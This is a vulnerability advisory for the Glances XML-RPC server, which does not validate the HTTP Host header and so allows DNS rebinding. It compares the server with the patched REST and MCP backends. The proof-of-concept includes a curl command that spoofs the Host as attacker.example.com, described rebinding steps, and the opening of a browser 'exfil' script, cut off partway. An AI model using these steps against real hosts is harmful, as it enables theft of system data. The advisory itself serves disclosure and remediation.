Glances: XML-RPC Server Missing Host Header Validation Enables DNS Rebinding Attack
Summary
The Glances XML-RPC server (glances -s, implemented in glances/server.py) does not validate the HTTP Host header, leaving it vulnerable to DNS rebinding attacks. CVE-2026-32632 (patched in 4.5.2) added TrustedHostMiddleware to the REST/WebUI server; the MCP server has had equivalent protection since 4.5.1. The XML-RPC server received neither fix and has no allowed-hosts configuration key. Combined with the unrestricted Access-Control-Allow-Origin: * header (see companion advisory for CVE-2026-33533 and its incomplete fix), an attacker can exploit DNS rebinding to exfiltrate the full system monitoring dataset from a victim's browser.
Details
Affected component: glances/server.py — GlancesXMLRPCHandler / GlancesXMLRPCServer
Direct URL (commit 04579778e733d705898a169e049dc84772c852da):
- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/server.py
Contrast — patched backends:
- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/outputs/glances_restful_api.py
- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/outputs/glances_mcp.py
The GlancesXMLRPCHandler class inherits from Python's xmlrpc.server.SimpleXMLRPCRequestHandler and does not override parse_request() to inspect or validate the Host header.
Contrast this with the two other Glances server backends, both of which received host-validation hardening:
REST / WebUI server (glances/outputs/glances_restful_api.py) — patched in 4.5.2:
```python
# glances_restful_api.py
if self.webui_allowed_hosts:
self._app.add_middleware(
TrustedHostMiddleware,
allowed_hosts=self.webui_allowed_hosts,
)
```
MCP server (glances/outputs/glances_mcp.py) — protected since 4.5.1:
```python
# glances_mcp.py
TransportSecuritySettings(
allowed_hosts=self.mcp_allowed_hosts,
...
)
```
XML-RPC server (glances/server.py) — no equivalent exists:
```python
class GlancesXMLRPCHandler(SimpleXMLRPCRequestHandler, GlancesAPI):
# No Host header check; any Host value is accepted
rpc_paths = ('/RPC2',)
...
```
There is no xmlrpc_allowed_hosts (or equivalent) configuration key in glances.conf, and the server ignores the Host header on every incoming request.
Confirmed on: x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).
Test results:
| Server type | Host header | HTTP status | Data returned |
|-------------|----------------------|-------------|---------------|
| XML-RPC | attacker.example.com | 200 OK | Yes — VULNERABLE |
| XML-RPC | 127.0.0.1:61209 | 200 OK | Yes (baseline) |
| REST API | attacker.example.com | 400 Bad Request | No — patched |
PoC
Attack overview
DNS rebinding breaks the browser Same-Origin Policy by making attacker.example.com temporarily resolve to the target's IP address (e.g. 127.0.0.1). From that point the victim's browser treats the attacker's page as same-origin with http://attacker.example.com:61209/RPC2, forwarding the attacker-controlled Host header to the local Glances XML-RPC server, which accepts it without validation.
Special configuration required
No special glances.conf settings are needed. The vulnerability is present in a default Glances XML-RPC server start (glances -s). For the comparison test (Step 3) the REST server must also be started; that step requires Glances to be installed with web dependencies (pip install "glances[web]").
Step 1 — Start the Glances XML-RPC server
```bash
glances -s -p 61209
```
Step 2 — Confirm the server accepts an arbitrary Host header
```bash
curl -s -D - -X POST "http://127.0.0.1:61209/RPC2" \
-H "Host: attacker.example.com" \
-H "Content-Type: text/plain" \
-d '<?xml version="1.0"?>
<methodCall><methodName>getAllPlugins</methodName></methodCall>'
```
Expected result (secure): HTTP/1.0 400 Bad Request
Actual result: HTTP/1.0 200 OK with full XML-RPC response body.
Step 3 — Confirm the REST API is patched (comparison)
```bash
# Start REST server with the same machine as allowed host:
glances -w -p 61210 --webui-port 61210
curl -s -o /dev/null -w "%{http_code}\n" \
"http://127.0.0.1:61210/api/4/status" \
-H "Host: attacker.example.com"
# Returns: 400 (TrustedHostMiddleware rejects the spoofed Host)
```
Step 4 — Full DNS rebinding exploitation (real-world path)
1. Attacker registers attacker.example.com with a low-TTL (1 second) DNS record initially pointing to their own server IP.
2. Attacker serves the following page from http://attacker.example.com:
```html
<script>
async function exfil() {
const payload = `<?xml version="1.0"?>
<methodCall><methodName>getAll</methodName></methodCall>`;
try
